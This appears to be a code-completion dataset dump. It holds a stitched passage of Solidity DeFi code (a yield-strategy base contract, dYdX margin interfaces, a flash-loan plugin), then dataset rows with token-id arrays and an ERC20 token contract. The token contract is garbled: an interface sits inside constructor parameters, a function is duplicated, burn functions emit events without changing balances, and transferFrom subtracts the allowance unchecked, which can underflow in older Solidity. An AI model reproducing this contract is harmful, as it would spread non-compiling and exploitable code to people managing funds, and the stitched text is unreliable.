* This function is used during emergency exit instead of `prepareReturn()` to * liquidate all of the Strategy's positions back to the Vault. */ function liquidateAllPositions() internal virtual returns (uint256 _amountFreed); /** * @notice * Provide a signal to the keeper that `tend()` should be called. The * keeper will provide the estimated gas cost that they would pay to call * `tend()`, and this function should use that estimate to make a * determination if calling it is "worth it" for the keeper. This is not * the only consideration into issuing this trigger, for example if the * position would be negatively affected if `tend()` is not called * shortly, then this can return `true` even if the keeper might be * "at a loss" (keepers are always reimbursed by DeFi Yield Technology). * @dev * `callCostInWei` must be priced in terms of `wei` (1e-18 ETH). * * This call and `harvestTrigger()` should never return `true` at the same * time. * @param callCostInWei The keeper's estimated gas cost to call `tend()` (in wei). * @return `true` if `tend()` should be called, `false` otherwise. */ function tendTrigger(uint256 callCostInWei) public view virtual returns (bool) { // We usually don't need tend, but if there are positions that need // active maintainence, overriding this function is how you would // signal for that. // If your implementation uses the cost of the call in want, you can // use uint256 callCost = ethToWant(callCostInWei); return false; } /** * @notice * Adjust the Strategy's position. The purpose of tending isn't to * realize gains, but to maximize yield by reinvesting any returns. * * See comments on `adjustPosition()`. * * This may only be called by governance, the strategist, or the keeper. */ function tend() external onlyKeepers { // Don't take profits with this call, but adjust for better gains adjustPosition(vault.debtOutstanding()); } /** * @notice * Provide a signal to the keeper that `harvest()` should be called. The * keeper will provide the estimated gas cost that they would pay to call * `harvest()`, and this function should use that estimate to make a * determination if calling it is "worth it" for the keeper. This is not * the only consideration into issuing this trigger, for example if the * position would be negatively affected if `harvest()` is not called * shortly, then this can return `true` even if the keeper might be "at a * loss" (keepers are always reimbursed by DeFi Yield Technology). * @dev * `callCostInWei` must be priced in terms of `wei` (1e-18 ETH). * * This call and `tendTrigger` should never return `true` at the * same time. * * See `min/maxReportDelay`, `profitFactor`, `debtThreshold` to adjust the * strategist-controlled parameters that will influence whether this call * returns `true` or not. These parameters will be used in conjunction * with the parameters reported to the Vault (see `params`) to determine * if calling `harvest()` is merited. * * It is expected that an external system will check `harvestTrigger()`. * This could be a script run off a desktop or cloud bot (e.g. * https://github.com/vladZokyo/DeFiYieldTechnology/blob/dev/scripts/keep.py), * or via an integration with the Keep3r network (e.g. * https://github.com/Macarse/GenericKeep3rV2/blob/master/contracts/keep3r/GenericKeep3rV2.sol). * @param callCostInWei The keeper's estimated gas cost to call `harvest()` (in wei). * @return `true` if `harvest()` should be called, `false` otherwise. */ function harvestTrigger(uint256 callCostInWei) public view virtual returns (bool) { uint256 callCost = ethToWant(callCostInWei); StrategyParams memory params = vault.strategies(address(this)); // Should not trigger if Strategy is not activated if (params.activation == 0) return false; // Should not trigger if we haven't waited long enough since previous harvest if (block.timestamp.sub(params.lastReport) < minReportDelay) return false; // Should trigger if hasn't been called in a while if (block.timestamp.sub(params.lastReport) >= maxReportDelay) return true; // If some amount is owed, pay it back // NOTE: Since debt is based on deposits, it makes sense to guard against large // changes to the value from triggering a harvest directly through user // behavior. This should ensure reasonable resistance to manipulation // from user-initiated withdrawals as the outstanding debt fluctuates. uint256 outstanding = vault.debtOutstanding(); if (outstanding > debtThreshold) return true; // Check for profits and losses uint256 total = estimatedTotalAssets(); // Trigger if we have a loss to report if (total.add(debtThreshold) < params.totalDebt) return true; uint256 profit = 0; if (total > params.totalDebt) profit = total.sub(params.totalDebt); // We've earned a profit! // Otherwise, only trigger if it "makes sense" economically (gas cost // is <N% of value moved) uint256 credit = vault.creditAvailable(); return (profitFactor.mul(callCost) < credit.add(profit)); } /** * @notice * Harvests the Strategy, recognizing any profits or losses and adjusting * the Strategy's position. * * In the rare case the Strategy is in emergency shutdown, this will exit * the Strategy's position. * * This may only be called by governance, the strategist, or the keeper. * @dev * When `harvest()` is called, the Strategy reports to the Vault (via * `vault.report()`), so in some cases `harvest()` must be called in order * to take in profits, to borrow newly available funds from the Vault, or * otherwise adjust its position. In other cases `harvest()` must be * called to report to the Vault on the Strategy's position, especially if * any losses have occurred. */ function harvest() external onlyKeepers { uint256 profit = 0; uint256 loss = 0; uint256 debtOutstanding = vault.debtOutstanding(); uint256 debtPayment = 0; if (emergencyExit) { // Free up as much capital as possible uint256 amountFreed = liquidateAllPositions(); if (amountFreed < debtOutstanding) { loss = debtOutstanding.sub(amountFreed); } else if (amountFreed > debtOutstanding) { profit = amountFreed.sub(debtOutstanding); } debtPayment = debtOutstanding.sub(loss); } else { // Free up returns for Vault to pull (profit, loss, debtPayment) = prepareReturn(debtOutstanding); } // Allow Vault to take up to the "harvested" balance of this contract, // which is the amount it has earned since the last time it reported to // the Vault. debtOutstanding = vault.report(profit, loss, debtPayment); // Check if free returns are left, and re-invest them adjustPosition(debtOutstanding); emit Harvested(profit, loss, debtPayment, debtOutstanding); } /** * @notice * Withdraws `_amountNeeded` to `vault`. * * This may only be called by the Vault. * @param _amountNeeded How much `want` to withdraw. * @return _loss Any realized losses */ function withdraw(uint256 _amountNeeded) external returns (uint256 _loss) { require(msg.sender == address(vault), "!vault"); // Liquidate as much as possible to `want`, up to `_amountNeeded` uint256 amountFreed; (amountFreed, _loss) = liquidatePosition(_amountNeeded); // Send it directly back (NOTE: Using `msg.sender` saves some gas here) want.safeTransfer(msg.sender, amountFreed); // NOTE: Reinvest anything leftover on next `tend`/`harvest` } /** * Do anything necessary to prepare this Strategy for migration, such as * transferring any reserve or LP tokens, CDPs, or other tokens or stores of * value. */ function prepareMigration(address _newStrategy) internal virtual; /** * @notice * Transfers all `want` from this Strategy to `_newStrategy`. * * This may only be called by the Vault. * @dev * The new Strategy's Vault must be the same as this Strategy's Vault. * The migration process should be carefully performed to make sure all * the assets are migrated to the new address, which should have never * interacted with the vault before. * @param _newStrategy The Strategy to migrate to. */ function migrate(address _newStrategy) external { require(msg.sender == address(vault), "Only the vault can call migrate strategy!"); require(BaseStrategy(_newStrategy).vault() == vault, "New strategy vault must be equalt to old vault!"); prepareMigration(_newStrategy); want.safeTransfer(_newStrategy, want.balanceOf(address(this))); } /** * @notice * Activates emergency exit. Once activated, the Strategy will exit its * position upon the next harvest, depositing all funds into the Vault as * quickly as is reasonable given on-chain conditions. * * This may only be called by governance or the strategist. * @dev * See `vault.setEmergencyShutdown()` and `harvest()` for further details. */ function setEmergencyExit() external onlyEmergencyAuthorized { emergencyExit = true; vault.revokeStrategy(); emit EmergencyExitEnabled(); } /** * Override this to add all tokens/tokenized positions this contract * manages on a *persistent* basis (e.g. not just for swapping back to * want ephemerally). * * NOTE: Do *not* include `want`, already included in `sweep` below. * * Example: * ``` * function protectedTokens() internal override view returns (address[] memory) { * address[] memory protected = new address[](3); * protected[0] = tokenA; * protected[1] = tokenB; * protected[2] = tokenC; * return protected; * } * ``` */ function protectedTokens() internal view virtual returns (address[] memory); /** * @notice * Removes tokens from this Strategy that are not the type of tokens * managed by this Strategy. This may be used in case of accidentally * sending the wrong kind of token to this Strategy. * * Tokens will be sent to `governance()`. * * This will fail if an attempt is made to sweep `want`, or any tokens * that are protected by this Strategy. * * This may only be called by governance. * @dev * Implement `protectedTokens()` to specify any additional tokens that * should be protected from sweeping in addition to `want`. * @param _token The token to transfer out of this vault. */ function sweep(address _token) external onlyGovernance { require(_token != address(want), "!want"); require(_token != address(vault), "!shares"); address[] memory _protectedTokens = protectedTokens(); for (uint256 i; i < _protectedTokens.length; i++) require(_token != _protectedTokens[i], "!protected"); IERC20(_token).safeTransfer(governance(), IERC20(_token).balanceOf(address(this))); } } abstract contract BaseStrategyInitializable is BaseStrategy { bool public isOriginal = true; event Cloned(address indexed clone); constructor(address _vault) public BaseStrategy(_vault) {} function initialize( address _vault, address _strategist, address _rewards, address _keeper ) external virtual { _initialize(_vault, _strategist, _rewards, _keeper); } function clone(address _vault) external returns (address) { require(isOriginal, "!clone"); return this.clone(_vault, msg.sender, msg.sender, msg.sender); } function clone( address _vault, address _strategist, address _rewards, address _keeper ) external returns (address newStrategy) { // Copied from https://github.com/optionality/clone-factory/blob/master/contracts/CloneFactory.sol bytes20 addressBytes = bytes20(address(this)); assembly { // EIP-1167 bytecode let clone_code := mload(0x40) mstore(clone_code, 0x3d602d80600a3d3981f3363d3d373d3d3d363d73000000000000000000000000) mstore(add(clone_code, 0x14), addressBytes) mstore(add(clone_code, 0x28), 0x5af43d82803e903d91602b57fd5bf30000000000000000000000000000000000) newStrategy := create(0, clone_code, 0x37) } BaseStrategyInitializable(newStrategy).initialize(_vault, _strategist, _rewards, _keeper); emit Cloned(newStrategy); } } // File: contracts/Strategies/StrategyGenLevCompFarm/Interfaces/IStrategy.sol interface IStrategy { function vault() external view returns (address); function want() external view returns (address); function strategist() external view returns (address); function useLoanTokens( bool deficit, uint256 amount, uint256 repayAmount ) external; } // File: contracts/Strategies/GeneralInterfaces/DyDx/ISoloMargin.sol library Account { enum Status {Normal, Liquid, Vapor} struct Info { address owner; // The address that owns the account uint256 number; // A nonce that allows a single address to control many accounts } struct Storage { mapping(uint256 => Types.Par) balances; // Mapping from marketId to principal Status status; } } library Actions { enum ActionType { Deposit, // supply tokens Withdraw, // borrow tokens Transfer, // transfer balance between accounts Buy, // buy an amount of some token (publicly) Sell, // sell an amount of some token (publicly) Trade, // trade tokens against another account Liquidate, // liquidate an undercollateralized or expiring account Vaporize, // use excess tokens to zero-out a completely negative account Call // send arbitrary data to an address } enum AccountLayout {OnePrimary, TwoPrimary, PrimaryAndSecondary} enum MarketLayout {ZeroMarkets, OneMarket, TwoMarkets} struct ActionArgs { ActionType actionType; uint256 accountId; Types.AssetAmount amount; uint256 primaryMarketId; uint256 secondaryMarketId; address otherAddress; uint256 otherAccountId; bytes data; } struct DepositArgs { Types.AssetAmount amount; Account.Info account; uint256 market; address from; } struct WithdrawArgs { Types.AssetAmount amount; Account.Info account; uint256 market; address to; } struct TransferArgs { Types.AssetAmount amount; Account.Info accountOne; Account.Info accountTwo; uint256 market; } struct BuyArgs { Types.AssetAmount amount; Account.Info account; uint256 makerMarket; uint256 takerMarket; address exchangeWrapper; bytes orderData; } struct SellArgs { Types.AssetAmount amount; Account.Info account; uint256 takerMarket; uint256 makerMarket; address exchangeWrapper; bytes orderData; } struct TradeArgs { Types.AssetAmount amount; Account.Info takerAccount; Account.Info makerAccount; uint256 inputMarket; uint256 outputMarket; address autoTrader; bytes tradeData; } struct LiquidateArgs { Types.AssetAmount amount; Account.Info solidAccount; Account.Info liquidAccount; uint256 owedMarket; uint256 heldMarket; } struct VaporizeArgs { Types.AssetAmount amount; Account.Info solidAccount; Account.Info vaporAccount; uint256 owedMarket; uint256 heldMarket; } struct CallArgs { Account.Info account; address callee; bytes data; } } library Decimal { struct D256 { uint256 value; } } library Interest { struct Rate { uint256 value; } struct Index { uint96 borrow; uint96 supply; uint32 lastUpdate; } } library Monetary { struct Price { uint256 value; } struct Value { uint256 value; } } library Storage { // All information necessary for tracking a market struct Market { // Contract address of the associated ERC20 token address token; // Total aggregated supply and borrow amount of the entire market Types.TotalPar totalPar; // Interest index of the market Interest.Index index; // Contract address of the price oracle for this market address priceOracle; // Contract address of the interest setter for this market address interestSetter; // Multiplier on the marginRatio for this market Decimal.D256 marginPremium; // Multiplier on the liquidationSpread for this market Decimal.D256 spreadPremium; // Whether additional borrows are allowed for this market bool isClosing; } // The global risk parameters that govern the health and security of the system struct RiskParams { // Required ratio of over-collateralization Decimal.D256 marginRatio; // Percentage penalty incurred by liquidated accounts Decimal.D256 liquidationSpread; // Percentage of the borrower's interest fee that gets passed to the suppliers Decimal.D256 earningsRate; // The minimum absolute borrow value of an account // There must be sufficient incentivize to liquidate undercollateralized accounts Monetary.Value minBorrowedValue; } // The maximum RiskParam values that can be set struct RiskLimits { uint64 marginRatioMax; uint64 liquidationSpreadMax; uint64 earningsRateMax; uint64 marginPremiumMax; uint64 spreadPremiumMax; uint128 minBorrowedValueMax; } // The entire storage state of Solo struct State { // number of markets uint256 numMarkets; // marketId => Market mapping(uint256 => Market) markets; // owner => account number => Account mapping(address => mapping(uint256 => Account.Storage)) accounts; // Addresses that can control other users accounts mapping(address => mapping(address => bool)) operators; // Addresses that can control all users accounts mapping(address => bool) globalOperators; // mutable risk parameters of the system RiskParams riskParams; // immutable risk limits of the system RiskLimits riskLimits; } } library Types { enum AssetDenomination { Wei, // the amount is denominated in wei Par // the amount is denominated in par } enum AssetReference { Delta, // the amount is given as a delta from the current value Target // the amount is given as an exact number to end up at } struct AssetAmount { bool sign; // true if positive AssetDenomination denomination; AssetReference ref; uint256 value; } struct TotalPar { uint128 borrow; uint128 supply; } struct Par { bool sign; // true if positive uint128 value; } struct Wei { bool sign; // true if positive uint256 value; } } interface ISoloMargin { struct OperatorArg { address operator1; bool trusted; } function ownerSetSpreadPremium(uint256 marketId, Decimal.D256 memory spreadPremium) external; function getIsGlobalOperator(address operator1) external view returns (bool); function getMarketTokenAddress(uint256 marketId) external view returns (address); function ownerSetInterestSetter(uint256 marketId, address interestSetter) external; function getAccountValues(Account.Info memory account) external view returns (Monetary.Value memory, Monetary.Value memory); function getMarketPriceOracle(uint256 marketId) external view returns (address); function getMarketInterestSetter(uint256 marketId) external view returns (address); function getMarketSpreadPremium(uint256 marketId) external view returns (Decimal.D256 memory); function getNumMarkets() external view returns (uint256); function ownerWithdrawUnsupportedTokens(address token, address recipient) external returns (uint256); function ownerSetMinBorrowedValue(Monetary.Value memory minBorrowedValue) external; function ownerSetLiquidationSpread(Decimal.D256 memory spread) external; function ownerSetEarningsRate(Decimal.D256 memory earningsRate) external; function getIsLocalOperator(address owner, address operator1) external view returns (bool); function getAccountPar(Account.Info memory account, uint256 marketId) external view returns (Types.Par memory); function ownerSetMarginPremium(uint256 marketId, Decimal.D256 memory marginPremium) external; function getMarginRatio() external view returns (Decimal.D256 memory); function getMarketCurrentIndex(uint256 marketId) external view returns (Interest.Index memory); function getMarketIsClosing(uint256 marketId) external view returns (bool); function getRiskParams() external view returns (Storage.RiskParams memory); function getAccountBalances(Account.Info memory account) external view returns ( address[] memory, Types.Par[] memory, Types.Wei[] memory ); function renounceOwnership() external; function getMinBorrowedValue() external view returns (Monetary.Value memory); function setOperators(OperatorArg[] memory args) external; function getMarketPrice(uint256 marketId) external view returns (address); function owner() external view returns (address); function isOwner() external view returns (bool); function ownerWithdrawExcessTokens(uint256 marketId, address recipient) external returns (uint256); function ownerAddMarket( address token, address priceOracle, address interestSetter, Decimal.D256 memory marginPremium, Decimal.D256 memory spreadPremium ) external; function operate(Account.Info[] memory accounts, Actions.ActionArgs[] memory actions) external; function getMarketWithInfo(uint256 marketId) external view returns ( Storage.Market memory, Interest.Index memory, Monetary.Price memory, Interest.Rate memory ); function ownerSetMarginRatio(Decimal.D256 memory ratio) external; function getLiquidationSpread() external view returns (Decimal.D256 memory); function getAccountWei(Account.Info memory account, uint256 marketId) external view returns (Types.Wei memory); function getMarketTotalPar(uint256 marketId) external view returns (Types.TotalPar memory); function getLiquidationSpreadForPair(uint256 heldMarketId, uint256 owedMarketId) external view returns (Decimal.D256 memory); function getNumExcessTokens(uint256 marketId) external view returns (Types.Wei memory); function getMarketCachedIndex(uint256 marketId) external view returns (Interest.Index memory); function getAccountStatus(Account.Info memory account) external view returns (uint8); function getEarningsRate() external view returns (Decimal.D256 memory); function ownerSetPriceOracle(uint256 marketId, address priceOracle) external; function getRiskLimits() external view returns (Storage.RiskLimits memory); function getMarket(uint256 marketId) external view returns (Storage.Market memory); function ownerSetIsClosing(uint256 marketId, bool isClosing) external; function ownerSetGlobalOperator(address operator1, bool approved) external; function transferOwnership(address newOwner) external; function getAdjustedAccountValues(Account.Info memory account) external view returns (Monetary.Value memory, Monetary.Value memory); function getMarketMarginPremium(uint256 marketId) external view returns (Decimal.D256 memory); function getMarketInterestRate(uint256 marketId) external view returns (Interest.Rate memory); } // File: contracts/Strategies/GeneralInterfaces/DyDx/DydxFlashLoanBase.sol contract DydxFlashloanBase { using SafeMath for uint256; function _getAccountInfo() internal view returns (Account.Info memory) { return Account.Info({owner: address(this), number: 1}); } function _getWithdrawAction(uint256 marketId, uint256 amount) internal view returns (Actions.ActionArgs memory) { return Actions.ActionArgs({ actionType: Actions.ActionType.Withdraw, accountId: 0, amount: Types.AssetAmount({ sign: false, denomination: Types.AssetDenomination.Wei, ref: Types.AssetReference.Delta, value: amount }), primaryMarketId: marketId, secondaryMarketId: 0, otherAddress: address(this), otherAccountId: 0, data: "" }); } function _getCallAction(bytes memory data) internal view returns (Actions.ActionArgs memory) { return Actions.ActionArgs({ actionType: Actions.ActionType.Call, accountId: 0, amount: Types.AssetAmount({ sign: false, denomination: Types.AssetDenomination.Wei, ref: Types.AssetReference.Delta, value: 0 }), primaryMarketId: 0, secondaryMarketId: 0, otherAddress: address(this), otherAccountId: 0, data: data }); } function _getDepositAction(uint256 marketId, uint256 amount) internal view returns (Actions.ActionArgs memory) { return Actions.ActionArgs({ actionType: Actions.ActionType.Deposit, accountId: 0, amount: Types.AssetAmount({ sign: true, denomination: Types.AssetDenomination.Wei, ref: Types.AssetReference.Delta, value: amount }), primaryMarketId: marketId, secondaryMarketId: 0, otherAddress: address(this), otherAccountId: 0, data: "" }); } } // File: contracts/Strategies/GeneralInterfaces/DyDx/ICallee.sol /** * @title ICallee * @author dYdX * * Interface that Callees for Solo must implement in order to ingest data. */ interface ICallee { // ============ Public Functions ============ /** * Allows users to send this contract arbitrary data. * * @param sender The msg.sender to Solo * @param accountInfo The account from which the data is being sent * @param data Arbitrary data given by the sender */ function callFunction( address sender, Account.Info memory accountInfo, bytes memory data ) external; } // File: contracts/Strategies/StrategyGenLevCompFarm/1.sol // Vault. // DyDx. contract FlashLoanPlugin is ICallee, DydxFlashloanBase { using SafeERC20 for IERC20; using SafeMath for uint256; IERC20 internal want; address internal SOLO = 0x1E0447b19BB6EcFdAe1e4AE1694b0C3659614e4e; IStrategy internal strategy; bool internal awaitingFlash = false; uint256 public dyDxMarketId; // @notice emitted when trying to do Flash Loan. flashLoan address is 0x00 when no flash loan used event Leverage(uint256 amountRequested, uint256 amountGiven, bool deficit, address flashLoan); constructor (address _strategy) public { strategy = IStrategy(_strategy); want = IERC20(strategy.want()); want.approve(_strategy, uint256(-1)); want.safeApprove(SOLO, type(uint256).max); } function updateMarketId() external { require(msg.sender == address(strategy)); _setMarketIdFromTokenAddress(); } function setSOLO(address _solo) external { require(msg.sender == address(strategy)); want.approve(SOLO, 0); SOLO = _solo; want.approve(SOLO, uint256(-1)); } // Flash loan DXDY // amount desired is how much we are willing for position to change function doDyDxFlashLoan( bool _deficit, uint256 _amountDesired ) external returns(uint256) { require(msg.sender == address(strategy), "not strategy!"); uint256 amount = _amountDesired; ISoloMargin solo = ISoloMargin(SOLO); // Not enough want in DyDx. So we take all we can. uint256 amountInSolo = want.balanceOf(SOLO); if (amountInSolo < amount) { amount = amountInSolo; } // we need to overcollateralise on way back uint256 repayAmount = amount.add(2); bytes memory data = abi.encode(_deficit, amount, repayAmount); // 1. Withdraw $ // 2. Call callFunction(...) // 3. Deposit back $ Actions.ActionArgs[] memory operations = new Actions.ActionArgs[](3); operations[0] = _getWithdrawAction(dyDxMarketId, amount); operations[1] = _getCallAction( // Encode custom data for callFunction data ); operations[2] = _getDepositAction(dyDxMarketId, repayAmount); Account.Info[] memory accountInfos = new Account.Info[](1); accountInfos[0] = _getAccountInfo(); solo.operate(accountInfos, operations); emit Leverage(_amountDesired, amount, _deficit, SOLO); return amount; } function _setMarketIdFromTokenAddress() internal { ISoloMargin solo = ISoloMargin(SOLO); uint256 numMarkets = solo.getNumMarkets(); address curToken; for (uint256 i = 0; i < numMarkets; i++) { curToken = solo.getMarketTokenAddress(i); if (curToken == address(want)) { dyDxMarketId = i; return; } } revert("No marketId found for provided token"); } function callFunction( address sender, Account.Info memory account, bytes memory data ) external override { (bool deficit, uint256 amount, uint256 repayAmount) = abi.decode(data, (bool, uint256, uint256)); require(msg.sender == SOLO, "NOT_SOLO"); _loanLogic(deficit, amount, repayAmount); } //called by flash loan function _loanLogic( bool deficit, uint256 amount, uint256 repayAmount ) internal { want.transfer(address(strategy), want.balanceOf(address(this))); strategy.useLoanTokens(deficit, amount, repayAmount); } }
* @notice Used to change `rewards`. EOA or smart contract which has the permission to pull rewards from the vault. This may only be called by the strategist. @param _rewards The address to use for pulling rewards./
function setRewards(address _rewards) external onlyStrategist { require(_rewards != address(0), "The reward's new address cannot be the same as the ZERO ADDRESS!"); vault.approve(rewards, 0); rewards = _rewards; vault.approve(rewards, uint256(-1)); emit UpdatedRewards(_rewards); }
65,220
[ 1, 6668, 358, 2549, 1375, 266, 6397, 8338, 512, 28202, 578, 13706, 6835, 1492, 711, 326, 4132, 225, 358, 6892, 283, 6397, 628, 326, 9229, 18, 225, 1220, 2026, 1338, 506, 2566, 635, 326, 609, 1287, 376, 18, 225, 389, 266, 6397, 1021, 1758, 358, 999, 364, 6892, 310, 283, 6397, 18, 19, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 565, 445, 444, 17631, 14727, 12, 2867, 389, 266, 6397, 13, 3903, 1338, 1585, 1287, 376, 288, 203, 3639, 2583, 24899, 266, 6397, 480, 1758, 12, 20, 3631, 315, 1986, 19890, 1807, 394, 1758, 2780, 506, 326, 1967, 487, 326, 18449, 11689, 10203, 4442, 1769, 203, 3639, 9229, 18, 12908, 537, 12, 266, 6397, 16, 374, 1769, 203, 3639, 283, 6397, 273, 389, 266, 6397, 31, 203, 3639, 9229, 18, 12908, 537, 12, 266, 6397, 16, 2254, 5034, 19236, 21, 10019, 203, 3639, 3626, 19301, 17631, 14727, 24899, 266, 6397, 1769, 203, 565, 289, 203, 203, 2, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100 ]
./full_match/4/0xfF258Ff09BD579a4C4fCa46FD2e5127ddaDeC511/sources/browser/ZARX-Testnet01.sol
Public variables of the token 18 decimals is the strongly suggested default, avoid changing it This creates an array with all balances This generates a public event on the blockchain that will notify clients This generates a public event on the blockchain that will notify clients This notifies clients about the amount burnt
contract TokenERC20 { string public name; string public symbol; uint8 public decimals = 18; uint256 public totalSupply; mapping (address => uint256) public balanceOf; mapping (address => mapping (address => uint256)) public allowance; event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed _owner, address indexed _spender, uint256 _value); event Burn(address indexed from, uint256 value); constructor( uint256 initialSupply, string memory tokenName, string memory tokenSymbol interface tokenRecipient { function receiveApproval(address _from, uint256 _value, address _token, bytes calldata _extraData) external; } ) public { } function _transfer(address _from, address _to, uint _value) internal { require(_to != address(0x0)); require(balanceOf[_from] >= _value); require(balanceOf[_to] + _value > balanceOf[_to]); uint previousBalances = balanceOf[_from] + balanceOf[_to]; balanceOf[_from] -= _value; balanceOf[_to] += _value; emit Transfer(_from, _to, _value); assert(balanceOf[_from] + balanceOf[_to] == previousBalances); } function transfer(address _to, uint256 _value) public returns (bool success) { _transfer(msg.sender, _to, _value); return true; } function transferFrom(address _from, address _to, uint256 _value) public returns (bool success) { allowance[_from][msg.sender] -= _value; _transfer(_from, _to, _value); return true; } function approve(address _spender, uint256 _value) public returns (bool success) { allowance[msg.sender][_spender] = _value; emit Approval(msg.sender, _spender, _value); return true; } function approveAndCall(address _spender, uint256 _value, bytes memory _extraData) public returns (bool success) { tokenRecipient spender = tokenRecipient(_spender); if (approve(_spender, _value)) { spender.receiveApproval(msg.sender, _value, address(this), _extraData); return true; } } function approveAndCall(address _spender, uint256 _value, bytes memory _extraData) public returns (bool success) { tokenRecipient spender = tokenRecipient(_spender); if (approve(_spender, _value)) { spender.receiveApproval(msg.sender, _value, address(this), _extraData); return true; } } function burn(uint256 _value) public returns (bool success) { emit Burn(msg.sender, _value); return true; } function burnFrom(address _from, uint256 _value) public returns (bool success) { emit Burn(_from, _value); return true; } }
822,781
[ 1, 4782, 3152, 434, 326, 1147, 6549, 15105, 353, 326, 11773, 715, 22168, 805, 16, 4543, 12770, 518, 1220, 3414, 392, 526, 598, 777, 324, 26488, 1220, 6026, 279, 1071, 871, 603, 326, 16766, 716, 903, 5066, 7712, 1220, 6026, 279, 1071, 871, 603, 326, 16766, 716, 903, 5066, 7712, 1220, 19527, 7712, 2973, 326, 3844, 18305, 88, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 16351, 3155, 654, 39, 3462, 288, 203, 565, 533, 1071, 508, 31, 203, 565, 533, 1071, 3273, 31, 203, 565, 2254, 28, 1071, 15105, 273, 6549, 31, 203, 565, 2254, 5034, 1071, 2078, 3088, 1283, 31, 203, 203, 565, 2874, 261, 2867, 516, 2254, 5034, 13, 1071, 11013, 951, 31, 203, 565, 2874, 261, 2867, 516, 2874, 261, 2867, 516, 2254, 5034, 3719, 1071, 1699, 1359, 31, 203, 203, 565, 871, 12279, 12, 2867, 8808, 628, 16, 1758, 8808, 358, 16, 2254, 5034, 460, 1769, 203, 377, 203, 565, 871, 1716, 685, 1125, 12, 2867, 8808, 389, 8443, 16, 1758, 8808, 389, 87, 1302, 264, 16, 2254, 5034, 389, 1132, 1769, 203, 203, 565, 871, 605, 321, 12, 2867, 8808, 628, 16, 2254, 5034, 460, 1769, 203, 203, 565, 3885, 12, 203, 3639, 2254, 5034, 2172, 3088, 1283, 16, 203, 3639, 533, 3778, 1147, 461, 16, 203, 3639, 533, 3778, 1147, 5335, 203, 5831, 1147, 18241, 288, 445, 6798, 23461, 12, 2867, 389, 2080, 16, 2254, 5034, 389, 1132, 16, 1758, 389, 2316, 16, 1731, 745, 892, 389, 7763, 751, 13, 3903, 31, 289, 203, 565, 262, 1071, 288, 203, 565, 289, 203, 203, 565, 445, 389, 13866, 12, 2867, 389, 2080, 16, 1758, 389, 869, 16, 2254, 389, 1132, 13, 2713, 288, 203, 3639, 2583, 24899, 869, 480, 1758, 12, 20, 92, 20, 10019, 203, 3639, 2583, 12, 12296, 951, 63, 67, 2080, 65, 1545, 389, 1132, 1769, 203, 3639, 2583, 12, 12296, 951, 63, 67, 869, 65, 397, 389, 1132, 405, 11013, 2 ]
